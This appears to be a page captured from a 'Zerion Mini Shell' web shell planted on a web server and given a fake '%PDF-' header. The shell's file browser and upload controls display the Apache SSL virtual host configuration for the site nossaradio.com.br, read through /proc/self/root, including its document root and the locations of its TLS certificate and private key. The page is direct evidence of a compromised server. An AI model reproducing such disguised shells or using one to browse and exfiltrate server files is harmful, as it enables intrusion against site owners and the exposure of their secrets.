%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/etc/apache2/sites-enabled/
Upload File :
Create Path :
Current File : //proc/self/root/etc/apache2/sites-enabled/nossaradio.com.br-le-ssl.conf

<IfModule mod_ssl.c>
<VirtualHost *:443>
    ServerName nossaradio.com.br
    ServerAlias www.nossaradio.com.br

    DocumentRoot /var/www/projetos/nossaradio.com.br/apps

    <Directory /var/www/projetos/nossaradio.com.br/apps>
        Options FollowSymLinks MultiViews
        AllowOverride All
        Require all granted
    </Directory>

    RewriteEngine On

    # Redireciona www -> sem www
# Some rewrite rules in this file were disabled on your HTTPS site,
# because they have the potential to create redirection loops.

#     RewriteCond %{HTTP_HOST} ^www\.nossaradio\.com\.br$ [NC]
#     RewriteRule ^(.*)$ https://nossaradio.com.br/$1 [L,R=301]

    # Redireciona domínio principal para HTTPS
#     RewriteCond %{HTTPS} off
#     RewriteRule ^(.*)$ https://nossaradio.com.br/$1 [L,R=301]

    ErrorLog ${APACHE_LOG_DIR}/nossaradio-error.log
    CustomLog ${APACHE_LOG_DIR}/nossaradio-access.log combined

Include /etc/letsencrypt/options-ssl-apache.conf
SSLCertificateFile /etc/letsencrypt/live/nossaradio.com.br/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/nossaradio.com.br/privkey.pem
</VirtualHost>
</IfModule>

Zerion Mini Shell 1.0